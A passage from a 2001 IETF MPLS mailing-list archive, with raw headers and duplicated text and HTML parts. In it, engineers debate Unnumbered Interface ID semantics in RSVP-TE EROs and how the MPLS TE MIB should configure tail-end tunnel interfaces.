> > > >    information is now in the PHOP
> > > 
> > > May I also suggest that we change the semantics of the Unnumbered
> > > Interface ID subobject in the ERO from:
> > > 
> > >    The Interface ID is the outgoing interface identifier with 
> > > respect to
> > >    the LSR specified by the router ID.
> > > 
> > > to
> > > 
> > >    The Interface ID is the incoming interface identifier with 
> > > respect to
> > >    the LSR specified by the router ID.
> > > 
> > > Yakov.
> > 
> > > George replies:
> > >
> > > That would be fine.  In fact in that case, the upstream 
> router would
> > > not have to pop off the subobject, since the next node 
> would receive a
> > > an ero which has a valid first object.
> > >
> > > ...George
> > 
> > By not popping the subobject off, the receiver of the PATH 
> must do some
> > "extra checking at the incoming interface" because the IF_ID must be
> > validated to refer to the same interface.  In this case, 
> the IF_ID is
> from the sender's perspective and the UI.interface_id is from the
> > receiver's perspective, which I think is worse than before 
> for cross-
> > checking.
> > 
> > In addition, Yakov's change affects Explicit Label Control 
> at the Egress
> > node.  Let's say the egress node is node B, and there is an 
> unnumbered
> > interface from B to a node C.  OSPF is not running between B and C,
> > C doesn't have a Router ID, and B doesn't know what C's 
> unnumbered ID
> > is.  This makes it impossible to use the ERO to specify the Explicit
> > Labels between B and C when that interface is unnumbered.
> 



From owner-mpls@UU.NET  Tue Oct 30 09:21:41 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA01036
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 09:21:41 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzh19692;
	Tue, 30 Oct 2001 14:22:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzh24993
	for mpls-outgoing; Tue, 30 Oct 2001 14:21:26 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmzh24980
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 14:21:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmzh23014
	for <mpls@uu.net>; Tue, 30 Oct 2001 14:19:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzh15160
	for <mpls@uu.net>; Tue, 30 Oct 2001 14:19:24 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA15089 for <mpls@uu.net>; Tue, 30 Oct 2001 09:19:02 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA12757 for mpls@uu.net; Tue, 30 Oct 2001 09:19:01 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmzh24795
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 14:17:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmzg15968
	for <mpls@UU.NET>; Tue, 30 Oct 2001 14:14:52 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmzh08781
	for <mpls@UU.NET>; Tue, 30 Oct 2001 14:15:13 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA14581; Tue, 30 Oct 2001 09:14:51 -0500 (EST)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAE01613;
	Tue, 30 Oct 2001 08:33:39 -0500 (EST)
Message-Id: <4.3.2.7.2.20011030083258.0277ae40@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 30 Oct 2001 08:34:19 -0500
To: Khuzema Pithewan <KhuzemaP@netbrahma.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Cc: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>, mpls@UU.NET
In-Reply-To: <13D467F625FAD511AE2A00D0B7B917D75DD298@mailserver.netbrahm
 a.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_520512487==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_520512487==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 11:08 AM 10/30/2001 +0530, Khuzema Pithewan wrote:
>Hi,
>
>It would be great from understanding point of view if it can be answered
>more elaborately.

         I don't understand the question.

>the question still remains..whats wrong in having IfTable interface entry at
>both ends, which can be provisioned from mpls-te-mib.

         Nothing. I think that we all agree that this works.

>note that..it may not be done manually at tail-end.

         You want this to be done through signalling?

         --Tom



>Khuzema.
>
> > ----------
> > From:         Thomas Nadeau[SMTP:tnadeau@cisco.com]
> > Sent:         Tuesday, October 30, 2001 5:41 AM
> > To:   Dominic-Savio, Patrick
> > Cc:   'mpls@uu.net'
> > Subject:      RE: Question on tunnel Interface (w.r.t TE MIB)
> >
> >
> >
> >
> >               Most if not all MPLS implementations that I know of only
> > require the operator
> >       to configure the tunnel at the head end.
> >
> >       But, if you want to treat a tunnel as a real interface (and assign
> > IP addresses etc. to it at both ends)
> >
> >
> >         I would categorize the use of a single interface as a "real"
> > interface
> > configuration as well.
> >
> >
> >
> >       you will have to have interface configuration at both the head and
> > tail ends.
> >
> >
> >         That is possible using the existing MIB. I think that we have
> > violent agreement on this point.
> >
> >
> >
> >       If you don't have a tail end interface configuration the only reason
> > to use tunnel interfaces is probably to make the tunnel *look* like an
> > interface on the head end router. This however means that you are treating
> > it as an interface on one side and treating it as a simple terminating
> > tunnel on the other side. This seems anomalous.
> >
> >
> >         I guess that you are entitled to your opinion. My customers
> > don't think that this approach is so anomalous.
> >
> >
> >
> >       If your implementation wishes to create an
> >       interface for the tail end of the tunnel, it can do this based on
> > the acceptance of
> >       an RSVP-TE session at the tail point, or via manual configuration.
> > However, making
> >       this ifIndex consistent with the one at the head automatically is
> > something that I think you
> >       will have to do manually.
> >
> >       I think you misunderstood, the actual value of the ifIndex is of no
> > consequence,
> >       you just have to have a corresponding interface at the other end.
> >
> >
> >         Okay, so what is the problem then? 8)
> >
> >         --Tom
> >
> >
> >
> >
> >
> > ------------------------------------------------------------------------
> > Mathematics is the supreme nostalgia of our time.
> >



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_520512487==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>At 11:08 AM 10/30/2001 +0530, Khuzema Pithewan wrote:<br>
<blockquote type=cite cite>Hi,<br>
<br>
It would be great from understanding point of view if it can be
answered<br>
more elaborately. </font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I don't
understand the question.<br>
<br>
<blockquote type=cite cite><font size=3>the question still remains..whats
wrong in having IfTable interface entry at<br>
both ends, which can be provisioned from
mpls-te-mib.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Nothing. I
think that we all agree that this works.<br>
<br>
<blockquote type=cite cite><font size=3>note that..it may not be done
manually at tail-end.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>You want
this to be done through signalling?<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
<br>
<br>
<blockquote type=cite cite><font size=3>Khuzema.<br>
<br>
&gt; ----------<br>
&gt; From:
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Thomas
Nadeau[SMTP:tnadeau@cisco.com]<br>
&gt; Sent:
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Tuesday,
October 30, 2001 5:41 AM<br>
&gt; To: <x-tab>&nbsp;&nbsp;</x-tab>Dominic-Savio, Patrick<br>
&gt; Cc: <x-tab>&nbsp;&nbsp;</x-tab>'mpls@uu.net'<br>
&gt; Subject: <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>RE: Question
on tunnel Interface (w.r.t TE MIB)<br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt;
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Most if not all MPLS implementations that I know of only<br>
&gt; require the operator<br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>to configure the
tunnel at the head end. <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>But, if you want
to treat a tunnel as a real interface (and assign<br>
&gt; IP addresses etc. to it at both ends) <br>
&gt; <br>
&gt; <br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I would categorize
the use of a single interface as a &quot;real&quot;<br>
&gt; interface<br>
&gt; configuration as well.<br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>you will have to
have interface configuration at both the head and<br>
&gt; tail ends. <br>
&gt; <br>
&gt; <br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That is possible
using the existing MIB. I think that we have<br>
&gt; violent agreement on this point.<br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>If you don't have
a tail end interface configuration the only reason<br>
&gt; to use tunnel interfaces is probably to make the tunnel *look* like
an<br>
&gt; interface on the head end router. This however means that you are
treating<br>
&gt; it as an interface on one side and treating it as a simple
terminating<br>
&gt; tunnel on the other side. This seems anomalous.&nbsp;&nbsp; <br>
&gt; <br>
&gt; <br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I guess that you are
entitled to your opinion. My customers<br>
&gt; don't think that this approach is so anomalous.<br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>If your
implementation wishes to create an<br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>interface for the
tail end of the tunnel, it can do this based on<br>
&gt; the acceptance of<br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>an RSVP-TE
session at the tail point, or via manual configuration.<br>
&gt; However, making <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>this ifIndex
consistent with the one at the head automatically is<br>
&gt; something that I think you <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>will have to do
manually. <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab><br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>I think you
misunderstood, the actual value of the ifIndex is of no<br>
&gt; consequence, <br>
&gt; <x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>you just have to
have a corresponding interface at the other end. <br>
&gt; <br>
&gt; <br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Okay, so what is the
problem then? 8)<br>
&gt; <br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --Tom<br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt; <br>
&gt;
------------------------------------------------------------------------<br>
&gt; Mathematics is the supreme nostalgia of our time. <br>
&gt; </font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_520512487==_.ALT--



From owner-mpls@UU.NET  Tue Oct 30 10:09:02 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03319
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 10:09:02 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzk20483;
	Tue, 30 Oct 2001 15:08:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzk17512
	for mpls-outgoing; Tue, 30 Oct 2001 15:08:47 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmzk17503
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:08:34 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmzk21891
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:07:35 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmzk00473
	for <mpls@UU.NET>; Tue, 30 Oct 2001 15:07:55 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA27976;
	Tue, 30 Oct 2001 10:07:32 -0500 (EST)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA17842;
	Tue, 30 Oct 2001 10:07:31 -0500 (EST)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLJ1GG>; Tue, 30 Oct 2001 10:07:30 -0500
Message-ID: <313680C9A886D511A06000204840E1CF4B84D3@whq-msgusr-02.pit.comms.marconi.com>
From: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>
To: "'Thomas Nadeau'" <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)
Date: Tue, 30 Oct 2001 10:07:24 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C16154.94FCFF00"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C16154.94FCFF00
Content-Type: text/plain;
	charset="iso-8859-1"

Please scroll to the end...

-----Original Message-----
From: Thomas Nadeau [mailto:tnadeau@cisco.com]
Sent: Monday, October 29, 2001 7:11 PM
To: Dominic-Savio, Patrick
Cc: 'mpls@uu.net'
Subject: RE: Question on tunnel Interface (w.r.t TE MIB)





        Most if not all MPLS implementations that I know of only require the
operator
to configure the tunnel at the head end. 
 
But, if you want to treat a tunnel as a real interface (and assign IP
addresses etc. to it at both ends) 


        I would categorize the use of a single interface as a "real"
interface
configuration as well.



you will have to have interface configuration at both the head and tail
ends. 


        That is possible using the existing MIB. I think that we have
violent agreement on this point.



If you don't have a tail end interface configuration the only reason to use
tunnel interfaces is probably to make the tunnel *look* like an interface on
the head end router. This however means that you are treating it as an
interface on one side and treating it as a simple terminating tunnel on the
other side. This seems anomalous.   


        I guess that you are entitled to your opinion. My customers
don't think that this approach is so anomalous.



 If your implementation wishes to create an
interface for the tail end of the tunnel, it can do this based on the
acceptance of
an RSVP-TE session at the tail point, or via manual configuration. However,
making 
this ifIndex consistent with the one at the head automatically is something
that I think you 
will have to do manually. 
 
I think you misunderstood, the actual value of the ifIndex is of no
consequence, 
you just have to have a corresponding interface at the other end. 


        Okay, so what is the problem then? 8) 
 
The problem is that the TE MIB does not provide *complete* configuration
support for setting up of a "corresponding" tail-end tunnel interface. On
the head-end it provides all of the required configuration parameters (isIf,
name) and on the tail-end it provides some (isIf, name) but not all (you
would at least need the head-end tunnel index to be specified at the
tail-end).
Let me try the question again in case my earlier questions were not clear.
If I create a tunnel  interface on a head-end router and would like to
create a corresponding tail-end tunnel interface on the tail-end router, how
do I do this using the TE MIB. I would like to see a complete solution using
just the TE MIB (because it attempts to solve the problem on the head-end),
if this is not possible then what other MIB tables should I use and how?. I
can easily come up with some proprietary scheme to do this but I would like
to see some "standard" usage guidelines. Again, given that the TE MIB seems
to be taking on the responsibility of creating tunnel interfaces I would
like a "standard" way of doing it on the tail-end to be documented in the
mpls-te-mib specification.
 
Thanks
 
 

        --Tom





------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 


------_=_NextPart_001_01C16154.94FCFF00
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=149145314-30102001>Please 
scroll to the end...</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Thomas Nadeau 
  [mailto:tnadeau@cisco.com]<BR><B>Sent:</B> Monday, October 29, 2001 7:11 
  PM<BR><B>To:</B> Dominic-Savio, Patrick<BR><B>Cc:</B> 
  'mpls@uu.net'<BR><B>Subject:</B> RE: Question on tunnel Interface (w.r.t TE 
  MIB)<BR><BR></FONT></DIV><FONT size=3><BR>
  <BLOCKQUOTE cite="" 
    type="cite"><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Most 
    if not all MPLS implementations that I know of only require the 
    operator<BR>to configure the tunnel at the head end. </FONT><FONT face=arial 
    color=#0000ff size=2></FONT><FONT size=3><BR>&nbsp;<BR></FONT><FONT 
    face=arial color=#ff0000 size=2>But, if you want to treat a tunnel as a real 
    interface (and assign IP addresses etc. to it at both ends) 
  </FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>I 
  would categorize the use of a single interface as a "real" 
  interface<BR>configuration as well.<BR><BR>
  <BLOCKQUOTE cite="" type="cite"><FONT face=arial color=#ff0000 size=2>you 
    will have to have interface configuration at both the head and tail ends. 
    </FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>That 
  is possible using the existing MIB. I think that we have<BR>violent agreement 
  on this point.<BR><BR>
  <BLOCKQUOTE cite="" type="cite"><FONT face=arial color=#ff0000 size=2>If you 
    don't have a tail end interface configuration the only reason to use tunnel 
    interfaces is probably to make the tunnel *look* like an interface on the 
    head end router. This however means that you are treating it as an interface 
    on one side and treating it as a simple terminating tunnel on the other 
    side. This seems 
  anomalous.<X-TAB>&nbsp;&nbsp;&nbsp;</X-TAB></FONT></BLOCKQUOTE><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>I 
  guess that you are entitled to your opinion. My customers<BR>don't think that 
  this approach is so anomalous.<BR><BR>
  <BLOCKQUOTE cite="" type="cite"><FONT size=3>&nbsp;If your implementation 
    wishes to create an<BR>interface for the tail end of the tunnel, it can do 
    this based on the acceptance of<BR>an RSVP-TE session at the tail point, or 
    via manual configuration. However, making <BR>this ifIndex consistent with 
    the one at the head automatically is something that I think you <BR>will 
    have to do manually.</FONT><FONT face=arial color=#0000ff size=2> 
    </FONT><FONT size=3><BR>&nbsp;<BR></FONT><FONT face=arial color=#ff0000 
    size=2>I think you misunderstood, the actual value of the ifIndex is of no 
    consequence, <BR>you just have to have a corresponding interface at the 
    other end.</FONT><FONT size=3> </FONT></BLOCKQUOTE>
  <DIV><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>Okay, 
  so what is the problem then? 8)<SPAN class=149145314-30102001><FONT face=Arial 
  color=#0000ff size=2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=149145314-30102001></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff size=2>The 
  problem is that the TE MIB does not provide *complete* configuration support 
  for setting up of a "corresponding" tail-end tunnel interface. On the head-end 
  it provides all of the required configuration parameters (isIf, name)&nbsp;and 
  on the tail-end it provides some (isIf, name) but not all (you would at least 
  need the head-end tunnel index to be specified at the 
  tail-end).</FONT></SPAN></DIV>
  <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff size=2>Let 
  me try the question again&nbsp;in case my earlier&nbsp;questions&nbsp;were not 
  clear.</FONT></SPAN></DIV>
  <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff size=2>If I 
  create a tunnel&nbsp; interface on a head-end router and would like to create 
  a corresponding tail-end tunnel interface on the tail-end router, how do I do 
  this using the TE MIB. I would like to see a complete solution using just the 
  TE MIB (because it attempts to solve the problem on the head-end), if this is 
  not possible then what other MIB tables should I use and how?. I can easily 
  come up with some proprietary scheme to do this but I would like to see some 
  "standard" usage guidelines. Again, given that the TE MIB seems to be taking 
  on the responsibility of creating tunnel interfaces I would like a "standard" 
  way of doing it on the tail-end to be documented in the mpls-te-mib 
  specification.</FONT></SPAN></DIV>
  <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
  size=2>Thanks</FONT></SPAN></DIV>
  <DIV><SPAN class=149145314-30102001><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN 
  class=149145314-30102001>&nbsp;</SPAN><BR><BR><X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB>--Tom<BR><BR><BR><BR><BR></DIV>
  <DIV>------------------------------------------------------------------------</DIV>Mathematics 
  is the supreme nostalgia of our time. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C16154.94FCFF00--


From owner-mpls@UU.NET  Tue Oct 30 10:20:28 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03741
	for <mpls-archive@lists.ietf.org>; Tue, 30 Oct 2001 10:20:28 -0500 (EST)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmzl10457;
	Tue, 30 Oct 2001 15:20:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmzl18806
	for mpls-outgoing; Tue, 30 Oct 2001 15:20:07 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmzl18768
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 30 Oct 2001 15:20:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmzl06644
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:17:25 GMT
Received: from exchange01.movaz.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: exchange01.movaz.com [65.205.166.180])
	id QQlmzl17818
	for <mpls@uu.net>; Tue, 30 Oct 2001 15:17:44 GMT
Received: from BLIULAPTOP ([172.16.24.104]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Tue, 30 Oct 2001 10:17:09 -0500
Message-ID: <01fb01c16155$f17ab5f0$681810ac@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: "Dominic-Savio, Patrick" <Patrick.Dominic-Savio@marconi.com>,
        "'Thomas Nadeau'" <tnadeau@cisco.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
References: <313680C9A886D511A06000204840E1CF4B84D3@whq-msgusr-02.pit.comms.marconi.com>
Subject: Re: Question on tunnel Interface (w.r.t TE MIB)
Date: Tue, 30 Oct 2001 10:17:08 -0500
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01F8_01C1612C.086D9860"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-OriginalArrivalTime: 30 Oct 2001 15:17:09.0573 (UTC) FILETIME=[F18CB750:01C16155]
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_01F8_01C1612C.086D9860
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Guys,

Before banging on the TE-MIB much more, apply yourselves to Tom's =
question...

How is this signaled?

The TE MIB can only handle two things...

- local configuration (e.g. head end ifIndex)
- protocol elements (i.e. things that will be signaled)

Note that the Unnumbered Interface signaling drafts add the concept of =
signaling the Unnumbered Interface Id by which the tunnel is known if it =
is represented as an unnumbered interface.  This is being added to the =
GMPLS version of the TE MIB (due out any time soon).

I'm sure that just as soon as it is agreed how to signal the tail end =
ifIndex for tunnels that appear as numbered interfaces, Tom will be =
happy to add this to the TE MIB.

Adrian
--
Adrian Farrel
Movaz Networks Inc.
Tel: 703-847-1867
afarrel@movaz.com
  ----- Original Message -----=20
  From: Dominic-Savio, Patrick=20
  To: 'Thomas Nadeau'=20
  Cc: 'mpls@uu.net'=20
  Sent: Tuesday, October 30, 2001 10:07 AM
  Subject: RE: Question on tunnel Interface (w.r.t TE MIB)


  Please scroll to the end...
    -----Original Message-----
    From: Thomas Nadeau [mailto:tnadeau@cisco.com]
    Sent: Monday, October 29, 2001 7:11 PM
    To: Dominic-Savio, Patrick
    Cc: 'mpls@uu.net'
    Subject: RE: Question on tunnel Interface (w.r.t TE MIB)




              Most if not all MPLS implementations that I know of only =
require the operator
      to configure the tunnel at the head end.=20
      =20
      But, if you want to treat a tunnel as a real interface (and assign =
IP addresses etc. to it at both ends)=20

            I would categorize the use of a single interface as a "real" =
interface
    configuration as well.


      you will have to have interface configuration at both the head and =
tail ends.=20

            That is possible using the existing MIB. I think that we =
have
    violent agreement on this point.


      If you don't have a tail end interface configuration the only =
reason to use tunnel interfaces is probably to make the tunnel *look* =
like an interface on the head end router. This however means that you =
are treating it as an interface on one side and treating it as a simple =
terminating tunnel on the other side. This seems anomalous.  =20

            I guess that you are entitled to your opinion. My customers
    don't think that this approach is so anomalous.


       If your implementation wishes to create an
      interface for the tail end of the tunnel, it can do this based on =
the acceptance of
      an RSVP-TE session at the tail point, or via manual configuration. =
However, making=20
      this ifIndex consistent with the one at the head automatically is =
something that I think you=20
      will have to do manually.=20
      =20
      I think you misunderstood, the actual value of the ifIndex is of =
no consequence,=20
      you just have to have a corresponding interface at the other end.=20

            Okay, so what is the problem then? 8)=20
    =20
    The problem is that the TE MIB does not provide *complete* =
configuration support for setting up of a "corresponding" tail-end =
tunnel interface. On the head-end it provides all of the required =
configuration parameters (isIf, name) and on the tail-end it provides =
some (isIf, name) but not all (you would at least need the head-end =
tunnel index to be specified at the tail-end).
    Let me try the question again in case my earlier questions were not =
clear.
    If I create a tunnel  interface on a head-end router and would like =
to create a corresponding tail-end tunnel interface on the tail-end =
router, how do I do this using the TE MIB. I would like to see a =
complete solution using just the TE MIB (because it attempts to solve =
the problem on the head-end), if this is not possible then what other =
